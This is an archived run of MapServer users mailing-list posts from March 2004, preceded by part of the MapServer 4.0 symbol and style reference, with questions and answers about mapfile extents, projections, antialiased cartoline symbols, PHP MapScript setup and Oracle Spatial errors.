T-MAPY spol. s r.o., Nezvalova 850, 500 03 Hradec Kralove, Czech Republic, phone: + 420 49 5513335 , fax + 420 49 5513371 --------------080608050004080306030101 Content-Type: text/html; name="symbol-cartoline.html" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="symbol-cartoline.html" MapFile Reference - MapServer 4.0

Style Object

This object holds parameters for symbolization. Multiple styles may be applied within a class. This object is new in 4.0 and is intended to seperate logic from looks. The final intent is to have named styles (Not yet supported) that will be re-usable through the mapfile. This is the new, preferred way of defining the appearance of an object, notably a class.

ANTIALIAS [true|false]

Should TrueType fonts and Cartoline symbols be antialiased.

BACKGROUNDCOLOR [r] [g] [b]

Color to use for non-transparent symbols.

........................................................


Symbology Reference

This section explains how to work with and define symbology in MapServer.

Notes

  • Symbol definitions can be included within the main MapFile or, more commonly, in a separate file. Symbol definitions in a separate file are designated using the SYMBOLSET keyword, as part of the Map Object. This recommended setup is ideal for re-using symbol definitions across multiple MapServer applications.

  • There are 3 main types of symbols in MapServer: Markers, Shadesets, and Lines.

  • Symbol 0 is always the degenerate case for a particular class of symbol. For points, symbol 0 is a single pixel, for shading (i.e. filled polygons) symbol 0 is a solid fill, and for lines, symbol 0 is a single pixel wide line.

  • Symbol definitions contain no color information, colors are set within CLASS objects.

  • There is a maximum of 64 symbols per file. This can be changed by editing mapsymbol.h and changing the value of MS_MAXSYMBOLS at the top of the file.

Syntax

ANTIALIAS [true|false]

Should TrueType fonts be antialiased.

CHARACTER [char]

Character used to reference a particular TrueType font character. You'll need to figure out the mapping from the keyboard character to font character.

FILLED [true|false]

Sets the symbol to be filled with a user defined color (See the CLASS object). For marker symbols, if OUTLINECOLOR was specified then the symbol is outlined with it.

FONT [string]

Name of TrueType font to use as defined in the FONTSET.

GAP [int]

Given in pixels. This defines a distance between symbols for TrueType lines.

IMAGE [string]

Image (GIF or PNG) to use as a marker or brush for type PIXMAP symbols.

NAME [string]

Alias for this font to be used in CLASS objects

LINECAP [butt|round|square|triangle]

Sets the line cap type for the cartoline symbol. Default is butt. Works with the CARTOLINE symbol only!

LINEJOIN [round|miter|bevel]

Sets the line join type for the cartoline symbol. Default is "none" - lines will not be joined . Works with the CARTOLINE symbol only!

LINEJOINMAXSIZE [num]

Sets the max length of the miter line join type. The value represents a coefficient which multitplies a current symbol size. Default is 3. Works with the CARTOLINE symbol only!

POINTS [x y] [x y] ... END

Signifies the start of the definition of points that make up a vector symbol or that define the x and y radius of an ellipse symbol. The end of this section is signified with the keyword END. Coordinates are given in pixels and define the default size of the symbol before any scaling. You can create non-contiguous paths by inserting negative coordinates at the appropriate place. For ellipse symbols you provide a single point that defines the x and y radius of an ellipse. Circles are created when x and y are equal.

STYLE [num on] [num off] [num on] ... END

Defines a dash style or pattern.

TRANSPARENT [color index]

Sets a transparent color for the input GIF image for pixmap symbols, or determines whether all shade symbols should have a transparent background. For shade symbols it may be desirable to have background features "show through" a transparent hatching pattern, creating a more complex map. By default a symbol's background is the same as the parent image (i.e. color 0). This is user configurable.

TYPE [vector|ellipse|pixmap|truetype|simple|cartoline]

  • vector: a simple drawing is used to define the shape of the symbol.

  • ellipse: radius values in the x and y directions define an ellipse.

  • pixmap: a user supplied GIF image will be used as the symbol.

  • truetype: TrueType font to use as defined in the FONTSET.

Examples

Here are some examples illustrating the various ways to create symbols in MapServer:

Example 3. Dashed Line

SYMBOL
  NAME 'dashed1'
  TYPE ELLIPSE
  POINTS 1 1 END
  FILLED true
  STYLE 10 5 5 10 END
END

This creates a dashed line with 10 pixels on, 5 off, 5 on, 10 off ...

Example 4. TrueType font marker symbol

SYMBOL
  NAME "natcap"
  TYPE TRUETYPE
  FONT geo
  FILLED true
  ANTIALIAS true
  CHARACTER "&#114;"
END

This symbol is a star, used to represent the national capital, hence the name. The font name in defined in the FONTSET file. The code number "114" varies, you can use MS Windows' character map to figure it out, or guestimate.

Example 5. Vector triangle marker symbol

SYMBOL
  NAME "triangle"
  TYPE vector
  POINTS
    0 4
    2 0
    4 4
    0 4
  END
END

This is fairly straight forward. Note that to have 3 sides you need 4 points, hence the first and last points are identical.

Example 6. Non-contiguous vector marker symbol (Cross)

SYMBOL
  NAME "cross"
  TYPE vector
  POINTS
    2 0
    2 4
    -99 -99
    0 2
    4 2
  END 
END

This example draws a cross, that is 2 lines (vectors) that are not connected end-to-end (Like the triangle in the previous example). The negative values separate the two.

Example 7. Circle vector symbol

SYMBOL
  NAME "circle"
  TYPE ellipse
  FILLED true
  POINTS
    1 1
  END
END

A simple filled circle. Using non-equal values for the point will give you an actual ellipse.

Example 8. Downward diagonal fill

SYMBOL   
  NAME "downwarddiagonalfill"
  TYPE vector
  TRANSPARENT 0
  POINTS
    0 1
    1 0
  END   
END

Example 9. Dashed Cartoline symbol 

SYMBOL   
  NAME "cartoline"
  TYPE cartoline
  LINECAP butt
  LINEJOIN miter
  LINEJOINMAXSIZE 1
  STYLE 10 5
END

This creates a dashed line with 10 pixels on, 5 off,... The line will have butt caps and short miter joins. For layers with a scaled symbol (SYMBOLSCALE, MINSIZE, MAXSIZE, ...) will be the STYLE  resized to maintain symbol ratios.

Add a Comment
--------------080608050004080306030101-- --------------060703010707040202050308-- From webloper at infogeo.ch Thu Mar 18 23:36:03 2004 From: webloper at infogeo.ch (R Baud) Date: Fri, 19 Mar 2004 08:36:03 +0100 Subject: [Mapserver-users] gmap demo and rosa applet Message-ID: <245900-2200435197363639@infogeo.ch> Hi the list, I've put a "onsubmit=funtion()" in the form tag of my gmap demo. This function isn't fired when the form is submitted by the rosa applet (ex: zoomin, zoomout, recenter.. etc). Do someone knows why? or do someone can tell me how I could launch a Javascript function when my form is submitted by rosa applet? Thanks in advance, r?my From bartvde at xs4all.nl Thu Mar 18 23:37:42 2004 From: bartvde at xs4all.nl (bartvde at xs4all.nl) Date: Fri, 19 Mar 2004 08:37:42 +0100 (CET) Subject: [Mapserver-users] Extent In-Reply-To: <20040319025747.84720.qmail@web20729.mail.yahoo.com> References: <20040319025747.84720.qmail@web20729.mail.yahoo.com> Message-ID: <22300.212.238.227.182.1079681862.squirrel@webmail.xs4all.nl> Hi, try EXTENT -95.809105 41.500326 -82.209468 48.311024 It should be the same as the OGRinfo Extent if you want to see your complete dataset. The syntax in OGR Extent is: (Xmin, YMin) - (XMax, YMax) Best regards, Bart > Hello ! > I use AcrWiew 3.0 software to create shapefiles (.dbf, .shp, .shx > extention). > Example : vung.dbf > I Open file `vung.dbf' using driver `ESRI Shapefile' > > Layer name: vung > Geometry: Polygon > Feature Count: 7 > Extent: (-95.809105, 41.500326) - (-82.209468, 48.311024) > Layer SRS WKT: > (unknown) > ID: Integer (8.0) > TENVUNG: String (16.0) > LOP: String (16.0) > OGRFeature(vung):0 > ID (Integer) = 0 > TENVUNG (String) = m?nota > LOP (String) = nuoc > POLYGON ((-95.80910507 48.31102390,-93.32853131 47.70176017,-94.41650226 > 47.37536889,-95.80910507 48.31102390)) > OGRFeature(vung):1 > ID (Integer) = 0 > TENVUNG (String) = bfdb > ..... > > example.map: > MAP > IMAGETYPE PNG > EXTENT -95.809105 41.500326 82.209468 -48.311024 > SIZE 400 300 > SHAPEPATH "data" > > PROJECTION > "proj=laea" > "ellps=clrk66" > "lat_0=45" > "lon_0=-100" > # > # Alternatively, you can specify an EPSG code. > # "init=epsg:2163" > # > END > > # Start of LAYER DEFINITIONS > --------------------------------------------- > LAYER # States polygon layer begins here > NAME vung > DATA vung > STATUS DEFAULT > TYPE POLYGON > > PROJECTION > "init=epsg:4326" > END > > CLASSITEM "LOP" > CLASS > EXPRESSION 'dat' > COLOR 32 132 255 > END > CLASS > COLOR 32 132 255 > END > CLASS > EXPRESSION 'nuoc' > COLOR 198 198 255 > END > END > END # End mapfile > > But Image don't create without an error ? > I don't understand what happened ? > Can you tell me about " Extent" in Shapefile (e.g vung.dbf) relative with > "Extent" in mapfile (e.g example.map) > Thank you very much. > > Do you Yahoo!? > Yahoo! Mail - More reliable, more storage, less spam From ms57 at streamyx.com Fri Mar 19 00:45:17 2004 From: ms57 at streamyx.com (Steve McCrone) Date: Fri, 19 Mar 2004 16:45:17 +0800 Subject: [Mapserver-users] Change projection (mouse coordinates) on-the-fly Message-ID: <002901c40d8e$81573630$c73d5edb@maps> I'm re-posting this question with a bit more detailed explanation. I am using strictly CGI mapserver and the jBox applet - no mapscript. My shape files are in UTM meters. I have set my extents, as seen below. I have my jBox javascript function display the UTM m mouse coordiantes. Now, I am asing if there is a way to configure the *.map file so the user can switch between displaying UTM m(specific speroid) and Geographic Coordinates (i.e. lat/lon) with another spheroid. In other words, similar functionality to most GIS software, such as Arcview, where the user simply changes the projection/spheroide and the mouse coordinates reflect this change. Thanks, Steve My map file includes - NAME DEMO STATUS ON SIZE 700 550 EXTENT 388107.634400379 5203120.88405952 500896.339019834 5310243.30613897 UNITS METERS #Not sure how to configure map file - do i need to duplicate all layers: one for UTM and the other for lat/lon? PROJECTION "proj=latlong" "ellps=GRS80" " zone=15" "north" "no_defs" END From Achim.Wessling at gt-net.de Fri Mar 19 02:29:53 2004 From: Achim.Wessling at gt-net.de (=?iso-8859-1?Q?=22We=DFling=2C_Achim=22?=) Date: Fri, 19 Mar 2004 11:29:53 +0100 Subject: AW: [Mapserver-users] Anti-Aliasing of lines Message-ID: <04Mar19.112954cet.332224@gateway.gt-net.de> Hallo, first I found an error in your docu. You added a symbol-example which looks as follows: SYMBOL NAME "cartoline" TYPE cartoline LINECAP butt LINEJOIN miter LINEJOINMAXSIZE 1 STYLE 10 5 END Here the 'END' is missing in the STYLE-syntax. Second, has someone a simple example how to use the STYLE-Object in the map-File? Mit freundlichem Gru? Achim We?ling ===================== INFOKOM G?tersloh A?R Fachbereich Technische Anwendungen Herzebrocker Str. 140 33334 G?tersloh Tel.: 05241/85-2926 Achim.Wessling at gt-net.de http://www.infokom-gt.de -----Urspr?ngliche Nachricht----- Von: Tomas Krecmer [mailto:tokr at tmapy.cz] Gesendet am: Freitag, 19. M?rz 2004 08:29 An: Alexander Pucher Cc: Steve Lime; mapserver-users at lists.gis.umn.edu Betreff: Re: [Mapserver-users] Anti-Aliasing of lines There is support in MapServer 4.x right now. Use a cartoline symbol. See the attached documentation. Tomas Alexander Pucher wrote: > Hi all, > > Steve, please excuse if this isn't the right place for this > discussion. I checked the GD documentation > (http://www.boutell.com/gd/manual2.0.22.html) and found this: > > ------------------------------------------ > What's new in version 2.0.12? > > [...] > > Support for fast drawing of antialiased lines and polygons, by Bright > Fulton and Frank Faubert. To learn more about this feature, read about > the gdImageSetAntiAliased > > function, which is used to set the foreground color for antialiasing, > as well as the gdAntiAliased > constant, > which is passed to line- and polygon-drawing functions in place of a > color. > > [...] > > gdAntiAliasing(CONSTANT) > Used in place of a color when invoking a line-drawing function such as > gdImageLine > or gdImageRectangle > . When > gdAntiAliased is used as the color, the foreground color set with > gdImageSetAntiAliased > is > used, with antialiasing mechanisms to minimize any "jagged" > appearance. For more information, see gdImageSetAntiAliased > . > > [...] > ------------------------------------------ > > So, it seems that GD is able to draw anti-aliased lines. Is there a > way to let mapserver use these functionality? > > Thanks for any input. > alex. > > > > Steve Lime wrote: > >> Yup, we can do what GD does at this point. >> Steve >> >> >> >>>>> Alexander Pucher 3/17/2004 8:12:14 >>>>> >>>> >> AM >>> >> Hi, >> >> what is the recent status of anti-aliasing of lines in MapServer. The >> limitation is GD, is this correct? >> >> regards, >> alex. >> >> _______________________________________________ >> Mapserver-users mailing list >> Mapserver-users at lists.gis.umn.edu >> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> >> >> >> > -- Tomas Krecmer, tomas.krecmer at tmapy.cz T-MAPY spol. s r.o., Nezvalova 850, 500 03 Hradec Kralove, Czech Republic, phone: + 420 49 5513335 , fax + 420 49 5513371 From lorenzo.moretti at bologna.enea.it Fri Mar 19 02:32:11 2004 From: lorenzo.moretti at bologna.enea.it (Lorenzo Moretti) Date: Fri, 19 Mar 2004 11:32:11 +0100 Subject: [Mapserver-users] PHP MapScript on Mac OS X? In-Reply-To: References: <20040318180004.19769.11292.Mailman@lists.gis.umn.edu> Message-ID: --============_-1132430164==_ma============ Content-Type: text/plain; charset="us-ascii" ; format="flowed" Gary >- Where do you store the compiled php_mapscript.so? Now I have /usr/local/php (normal php 4.3.3 for Apache) /usr/local/php_cgi (all php 4.3.3 as CGI) /usr/local/php_cgi/lib/php/extensions/no-debug-non-zts-20020429/php_mapscript.so /WebServer/CGI-PHPMapServer (inside there is only a php link to /usr/local/php_cgi/bin/php) /WebServer/CGI-Executables (inside there is mapserv) /sw (all libraries for mapserver and php from FINK) >- Do you use PHP's dl() command to load the extension? If so, does >it return anything? Also, does the extension_loaded() function >return true? Yes. In namefile.phtml /* -------------------------------------------------------------------- */ /* Load required modules */ /* -------------------------------------------------------------------- */ if (PHP_OS == "WINNT" || PHP_OS == "WIN32") { $dlext = "dll"; } else { $dlext = "so"; } if (!extension_loaded("MapScript")) { dl("php_mapscript.$dlext"); } if (!extension_loaded("dbase")) { dl("php_dbase.$dlext"); } >- Could you email a copy of your httpd.conf & php.ini files (and >your php configure string if you have it)? I would be appreciative. > I have not create php.ini but it's possible. My httpd.conf for 2 php (Apache DSO and cgi) normal PHP for apache ... LoadModule perl_module libexec/httpd/libperl.so LoadModule php4_module /usr/local/php/libphp4.so LoadModule dav_module libexec/httpd/libdav.so ... ... AddModule mod_php4.c AddModule mod_dav.c .... for index # # DirectoryIndex: Name of the file or files to use as a pre-written HTML # directory index. Separate multiple entries with spaces. # DirectoryIndex index.html index.htm default.html default.htm index.php default.php index.phtml inside section # PHP Map Server --- ScriptAlias /cgi-map/ "/WebServer/CGI-PHPMapServer/" Options ExecCGI FollowSymLinks after Action # # Action lets you define media types that will execute a script whenever # a matching file is called. This eliminates the need for repeated URL # pathnames for oft-used CGI file processors. # Format: Action media/type /cgi-script/location # Format: Action handler-name /cgi-script/location # Action phtml-script /cgi-map/php AddHandler phtml-script .phtml All .php files work with normal PHP and all .phtml files work with CGI PHP. They work very very well with last MapServer 4.0.1 in an old G3 beige.... Bye -- ________________________________________________________________________ || Lorenzo Moretti e-mail: lorenzo.moretti at bologna.enea.it ||/|/| ENEA prot/idr Web: http://wwwamb.bologna.enea.it/ || | via Don Fiammelli, 2 FTP: ftp://ftpamb.bologna.enea.it/ (res.) ~~~~~~ 40128 BOLOGNA - ITALY Ph: +39-0516098086 Fax: +39-0516098131 Download GRASS for MAC OS X: http://wwwamb.bologna.enea.it/forgrass/ ________________________________________________________________________ --============_-1132430164==_ma============ Content-Type: text/html; charset="us-ascii" Re: [Mapserver-users] PHP MapScript on Mac OS X?
Gary

- Where do you store the compiled php_mapscript.so?


Now I have
/usr/local/php                  (normal php 4.3.3 for Apache)
/usr/local/php_cgi              (all php 4.3.3 as CGI)

/usr/local/php_cgi/lib/php/extensions/no-debug-non-zts-20020429/php_mapscript.so

/WebServer/CGI-PHPMapServer     (inside there is only a php link to /usr/local/php_cgi/bin/php)
/WebServer/CGI-Executables      (inside there is mapserv)
/sw                             (all libraries for mapserver and php from FINK)


- Do you use PHP's dl() command to load the extension?  If so, does it return anything?  Also, does the extension_loaded() function return true?

Yes. In namefile.phtml

/* -------------------------------------------------------------------- */
/*      Load required modules                                           */
/* -------------------------------------------------------------------- */
if (PHP_OS == "WINNT" || PHP_OS == "WIN32")
{
    $dlext = "dll";
}
else
{
    $dlext = "so";
}

if (!extension_loaded("MapScript"))
{
    dl("php_mapscript.$dlext");
}
if (!extension_loaded("dbase"))
{
    dl("php_dbase.$dlext");
}


- Could you email a copy of your httpd.conf & php.ini files (and your php configure string if you have it)?  I would be appreciative.

I have not create php.ini but it's possible.

My httpd.conf for 2 php (Apache DSO and cgi)

normal PHP for apache

...
LoadModule perl_module        libexec/httpd/libperl.so
LoadModule php4_module        /usr/local/php/libphp4.so
LoadModule dav_module         libexec/httpd/libdav.so
...

...
AddModule mod_php4.c
AddModule mod_dav.c
....

for index

#
# DirectoryIndex: Name of the file or files to use as a pre-written HTML
# directory index.  Separate multiple entries with spaces.
#
<IfModule mod_dir.c>
    DirectoryIndex index.html index.htm default.html default.htm index.php default.php index.phtml
</IfModule>


inside section <IfModule mod_alias.c>

# PHP Map Server ---

    ScriptAlias /cgi-map/ "/WebServer/CGI-PHPMapServer/"
<Directory "/WebServer/CGI-PHPMapServer">
        Options ExecCGI FollowSymLinks
</Directory>


after Action

#
# Action lets you define media types that will execute a script whenever
# a matching file is called. This eliminates the need for repeated URL
# pathnames for oft-used CGI file processors.
# Format: Action media/type /cgi-script/location
# Format: Action handler-name /cgi-script/location
#

Action phtml-script /cgi-map/php
AddHandler phtml-script .phtml



All .php files work with normal PHP and all .phtml files work with CGI PHP.

They work very very well with last MapServer 4.0.1 in an old G3 beige....

Bye

--
________________________________________________________________________
||       Lorenzo Moretti        e-mail: lorenzo.moretti at bologna.enea.it     
||/|/|   ENEA prot/idr          Web: http://wwwamb.bologna.enea.it/    
||   |   via Don Fiammelli, 2   FTP: ftp://ftpamb.bologna.enea.it/ (res.)
~~~~~~   40128 BOLOGNA - ITALY  Ph: +39-0516098086  Fax: +39-0516098131
                        Download GRASS for MAC OS X:    
                   http://wwwamb.bologna.enea.it/forgrass/
________________________________________________________________________
--============_-1132430164==_ma============-- From eduardo at consultoria.eti.br Fri Mar 19 03:24:21 2004 From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae) Date: Fri, 19 Mar 2004 08:24:21 -0300 Subject: [Mapserver-users] Unable to display map In-Reply-To: <405A6BCF.4030704@darya.nio.org> References: <40596E39.4040906@darya.nio.org> <40598CD9.5000208@consultoria.eti.br> <405A6BCF.4030704@darya.nio.org> Message-ID: <405AD865.7060303@consultoria.eti.br> OK. it show that your MAP_STATUS is set to ON, so to display it at the browser you should at the reserved word [img] inside your template file like this: ... The map: ... ;-) Pramila R Gawas escreveu: > Thanks for immediate replying > > actually if i just try to display the static map without webaddress, > it works fine. > but when i try to display it using web address, it creates a png image > in ~user/tmp file.. doesn't display in browser. > Eduardo Patto Kanegae wrote: > >> Did you check if your shapefile has this extent value? EXTENT -180 >> -90 180 90 >> >> A good way to check is to use "shpdump" tool from ShapeLib ( >> http://shapelib.maptools.org ) >> >> $ shpdump myshapefile.shp > mydumpfile.txt >> >> open the TXT file and look for line 3 and 4. >> >> that's all u need. >> >> best. >> >> Eduardo Patto Kanegae >> http://www.consultoria.eti.br >> >> ## Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ## >> *************************************** >> ***Fim da Mensagem / End of Message *** >> *************************************** >> >> >> >> Pramila R Gawas escreveu: >> >>> Dear MapServer experts, >>> >>> could you please help me with following problem? >>> >>> I'm trying to display data strored in shape file, but I allways get a >>> blank map (image icon). >>> The map file is as follows : >>> NAME WORLD >>> SIZE 500 650 >>> EXTENT -180 -90 180 90 >>> #UNITS METERS >>> SHAPEPATH "/localhostname/user/abc/public_html/worldmap/data" >>> STATUS ON >>> #IMAGETYPE png >>> >>> LAYER >>> NAME world >>> TYPE POLYGON >>> DATA world >>> CLASS >>> COLOR 181 181 181 >>> OUTLINECOLOR 50 10 100 >>> END >>> STATUS DEFAULT >>> END >>> >>> PROJECTION >>> "proj=latlong" >>> END >>> >>> WEB >>> TEMPLATE demo.html >>> IMAGEPATH "set in init.html" >>> IMAGEURL "set in init.html" >>> METADATA >>> WMS_ONLINERESOURCE "http://localhost/~abc/init.html" >>> END >>> END >>> END >>> >>> >>> >>> Could anybody get throught this problem. >>> >>> >>> thanks >>> pramila >>> >>> >>> >>> _______________________________________________ >>> Mapserver-users mailing list >>> Mapserver-users at lists.gis.umn.edu >>> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >>> >>> >> > > > > > -- Eduardo Patto Kanegae http://www.consultoria.eti.br ## Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ## *************************************** ***Fim da Mensagem / End of Message *** *************************************** From tomko at gku.sk Fri Mar 19 07:00:44 2004 From: tomko at gku.sk (Tomko) Date: Fri, 19 Mar 2004 16:00:44 +0100 Subject: [Mapserver-users] Oracle spatial error - off topic to mapserver In-Reply-To: <20040318180004.19769.11292.Mailman@lists.gis.umn.edu> Message-ID: <000001c40dc2$fafcbb20$d90510ac@aisgkk> HI, Sorry for bothering this list, but I am really hopeless. You can write me directly to avoid spamming the list, if you can help me... PLEASE" I am (still)in troubles with Oracle Spatial and I do not know how to get out of them... from the beginning I have a strange error occuring - I cannot creat spatial indices!!! So also the mapserver oraclespatial connection doesn't work well with the USING SRID... way, I have to do the double select... And this show as a crucial limitation when I want to use it with other tools (ArcSDE) or for performance reasons... Maybe you could give me a hint?? here is the error message (and a sample procedure leading to it): CREATE TABLE body (CBODU NUMBER PRIMARY KEY,NAZOV VARCHAR (32),X NUMBER,Y NUMBER,Z NUMBER,TOPO VARCHAR (32),GEOM MDSYS.SDO_GEOMETRY); commit; INSERT INTO USER_SDO_GEOM_METADATA VALUES ( 'body', 'GEOM', MDSYS.SDO_DIM_ARRAY( MDSYS.SDO_DIM_ELEMENT('X', 0, -591445, 0.005), MDSYS.SDO_DIM_ELEMENT('Y', 0, -1373146, 0.005), MDSYS.SDO_DIM_ELEMENT('Z', 0, 1000, 0.005)), NULL -- SRID ); commit; create index body_idx on body (GEOM) 2* INDEXTYPE IS mdsys.spatial_index CREATE INDEX body_idx * ERROR at line 1: ORA-29855: error occurred in the execution of ODCIINDEXCREATE routine ORA-13249: Error executing stmt: begin mdsys.prvt_idx.execute_insert(NULL, NULL, ' VALUES (''SYS'',''MDIDX_INIT'', 0, 0, 64, -1, NLS_UPPER(''MDRT_77D1 $''), ''BODY_IDX'', 1, ''SYS'', ''"GEOM"'', 0, 0, 3, 0, ''DEFAULT'', ''DEFAULT'', NULL,NULL, NULL, NULL, NULL, NULL, NULL, 2, ''DEFAULT'', 10, NULL, NULL, NULL, NULL, ''FALSE'', ''VALID'', NULL)', NULL); end; ORA-13249: Error in Spatial index: insert to metadata failed ORA-29400: data cartridge error ORA-00913: too many values ORA-06512: at "MDSYS.PRVT_IDX", line 5 ORA-06512: at line 1 ORA-06512: at "MDSYS.SDO_INDEX_METHOD_9I", line 7 ORA-06512: at line 1 I have also tried to reinstall Oracle for it, but I am having the same error. The installation did not report any error. I am encountering a similar error when trying to create spatial tables with ESRI ArcSDE, or even working with a XML database. I suspect that it is a problem with the ODCIIndex cartridge or something like that, according to the forums. I am running a windows version of Oracle 9.2.0.1, a developper version downloaded from the otn. I am running a Windows 2003 server and I have updated the universal installer and applied the patch. I did not do any changes to the MDSYS user, just unlocked it. I was connected as sys. I have found something about a "catpatch procedure" But did not run this... Thanks a lot! Martin From assefa at dmsolutions.ca Fri Mar 19 07:09:45 2004 From: assefa at dmsolutions.ca (Yewondwossen Assefa) Date: Fri, 19 Mar 2004 10:09:45 -0500 Subject: [Mapserver-users] gmap demo and rosa applet In-Reply-To: <245900-2200435197363639@infogeo.ch> References: <245900-2200435197363639@infogeo.ch> Message-ID: <405B0D39.6030301@dmsolutions.ca> Have you tried to use the TB_BUT_?_JSACTION button setting. It might give you what you need. Checks the docs at : (http://www.maptools.org/rosa/index.phtml?page=rosa_params.html) Later, R Baud wrote: > Hi the list, > I've put a "onsubmit=funtion()" in the form tag of my gmap demo. > This function isn't fired when the form is submitted by the rosa > applet (ex: zoomin, zoomout, recenter.. etc). Do someone knows why? > or do someone can tell me how I could launch a Javascript function > when my form is submitted by rosa applet? > > Thanks in advance, r?my > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- ---------------------------------------------------------------- Assefa Yewondwossen Software Analyst Email: assefa at dmsolutions.ca http://www.dmsolutions.ca/ Phone: (613) 565-5056 (ext 14) Fax: (613) 565-0925 ---------------------------------------------------------------- From g.greco at cineca.it Fri Mar 19 07:14:41 2004 From: g.greco at cineca.it (Gregorio Greco) Date: Fri, 19 Mar 2004 16:14:41 +0100 (MET) Subject: [Mapserver-users] Problems with QUERY on SPATIALORACLE Message-ID: <004b01c40dc4$e6e70f30$2d07ba82@int.cineca.it> This is a multi-part message in MIME format. ------=_NextPart_000_0048_01C40DCD.488A3390 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable =20 Hi All, I have a problem with SpatialOracle and I want to do simple query for = the moment like this:I starting work with Mapserver and = SpatialOracle:now I am successful to display the map and to navigate, = therefore for this aspect I do not have problems...I have problems with = 'query' o 'nquery' on data fetched from the spatialoracle tables.I have = read that others have my same problem and I have read in a mail (21 - = Jan - 2004) that you are working in this function.... I would want to = know kindly when this function will be available or if it exists = another way for to do this.... I'm sorry for my little english and I = thanks in advance who me will be able to help in this problem !I take a = small portion of code of the map file:........ others settings = .................._______________________________________________________= ______________________________________________________________________LAY= ER # States polygon layer begins here NAME province = CONNECTIONTYPE oraclespatial CONNECTION "greco/9meno5=3D4 at test9i" = DATA "GEOM FROM (SELECT P.PROVINCIA,P.CASI_TOT,P.GEOM FROM PROVINCE P)" = STATUS DEFAULT TYPE POLYGON CLASSITEM CASI_TOT = CLASS NAME '141767-197144' EXPRESSION ([CASI_TOT] >=3D 141767 = and [CASI_TOT] <=3D 197144) TEMPLATE 'templates/query_province.htm' = COLOR 87 170 134 OUTLINECOLOR 255 255 255 END #end = class____________________________________________________________________= ___________________.......etc etc etc........ Best = RegardsGregorio_________________________________________________________D= r. Gregorio GrecoCINECA - InterUniversity Computing Center - SISS = http://www.cineca.it Via Magnanelli, 6/3 40033 Casalecchio di Reno (BO) = Italy E-mail: g.greco at cineca.it Phone:+39-051-6171938 = _____________________________________________________ ------=_NextPart_000_0048_01C40DCD.488A3390 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
 
Hi All,

I have a problem with SpatialOracle and I want to do simple query for =
the moment like this:
I starting work with Mapserver and =
SpatialOracle:
now I  am successful to display  the map and to =
navigate,  therefore for this aspect  I do not have =
problems...
I =
have problems with 'query' o 'nquery' on data fetched from the =
spatialoracle tables.
I have read  =
that =
others have my same problem and I have read in a mail (21 - Jan - 2004)  =
that you  
are working in =
this function.... I would want to =
know  kindly  =
when this function will be available or if it exists another =

way for to do =
this.... 
I'm sorry for my =
little english and  I thanks in advance  who me =
will be able to help in this problem =
!
I take a small =
portion of code of the map file:
........ others settings =
..................
____________________________________________________________=
_________________________________________________________________<=
/STRONG>
LAYER # States polygon =
layer begins here
    
    =
NAME  province
    CONNECTIONTYPE =
oraclespatial
    CONNECTION "greco/9meno5=3D4 at test9i"
<=
/PRE>
    =
DATA "GEOM FROM (SELECT P.PROVINCIA,P.CASI_TOT,P.GEOM FROM PROVINCE =
P)"
    =
STATUS       DEFAULT
    =
TYPE         =
POLYGON
    
 
CLASSITEM =
CASI_TOT
    CLASS
      =
NAME '141767-197144'
      EXPRESSION =
([CASI_TOT] >=3D 141767 and [CASI_TOT] <=3D =
197144)
      TEMPLATE =
'templates/query_province.htm'
      COLOR =
87 170 134
      OUTLINECOLOR 255 255 =
255
      
    END #end =
class
_________________________________________________________=
______________________________
.......etc etc etc........ =

 
 
Best Regards
Gregorio
 
_________________________________________________________
Dr.=
  Gregorio Greco
CINECA - InterUniversity Computing Center =
-  SISS 
http://www.cineca.it 
Via =
Magnanelli, 6/3  
40033 Casalecchio di Reno (BO) Italy =

E-mail:  g.greco at cineca.it =

Phone:+39-051-6171938   =

_____________________________________________________

------=_NextPart_000_0048_01C40DCD.488A3390-- From mapserver at no-log.org Fri Mar 19 07:40:25 2004 From: mapserver at no-log.org (mapserver at no-log.org) Date: Fri, 19 Mar 2004 16:40:25 +0100 (CET) Subject: [Mapserver-users] Stile problem with SWF and fdb fonts Message-ID: <19130.81.48.32.169.1079710825.squirrel@mail2.no-log.org> Hi, First, s/Stile/Still in subject sorry ;) New strange thing, all layers are rendered correctly with OUTPUT_MOVIE=multiple using fdb fonts when i use shp2img with my mapfile. Always internal server error using php_mapscript and apache with multiple swf layers rendering, and no problem with unique layer rendering (OUTPUT_MOVIE=single). Any help would be appreciated :) Sample of the layer: LAYER NAME "Regions" TYPE line DATA "lim_adm_france_dom" STATUS on DEBUG on CLASSITEM 'NATURE' LABELITEM 'ID_GEOFLA' CLASS DEBUG on NAME 'regions' EXPRESSION ('[NATURE]' eq 'Limite de r?gion') SIZE 3 COLOR 255 0 0 SYMBOL "circle" LABEL TYPE bitmap FONT "verdana" COLOR 0 0 0 SIZE 12 MAXSIZE 18 POSITION CC ANGLE AUTO BUFFER 2 END END PROJECTION "init=epsg:2154" END TOLERANCE 5 END Thanks Christophe Beveraggi From cz_toh at yahoo.com Fri Mar 19 08:38:17 2004 From: cz_toh at yahoo.com (=?iso-8859-1?q?TOH=20CZ?=) Date: Fri, 19 Mar 2004 16:38:17 +0000 (GMT) Subject: [Mapserver-users] Combining mapserver and flash Message-ID: <20040319163817.29466.qmail@web14010.mail.yahoo.com> Hi I am now attempting to combine both mapserver and a flash file together The Flash file already has a map of its own so do I use that one or do I use the one I am using for mapserver? Do I have to use Flash's zoom commands or mapserver's exe? Right now the pages just won't load probably because I am not coding it correctly ___________________________________________________________ Yahoo! Messenger - Communicate instantly..."Ping" your friends today! Download Messenger Now http://uk.messenger.yahoo.com/download/index.html From gijs at gijs.com Fri Mar 19 08:49:12 2004 From: gijs at gijs.com (Gijs Epping) Date: Fri, 19 Mar 2004 17:49:12 +0100 Subject: [Mapserver-users] queryByShape explanation please Message-ID: <000001c40dd2$1bb73020$2d00a8c0@at11> Hello, I have some problems with the polygon shape query on a multiple point shape file, Could some body explane it to me how i can get the data from the points that lay in the polygon zone. The areacode layer is just some point data. At the moment it gives this error: Warning: [MapServer Error]: msQueryByShape(): No matching record(s) found. But in the zone are I think 100 point present. This is the 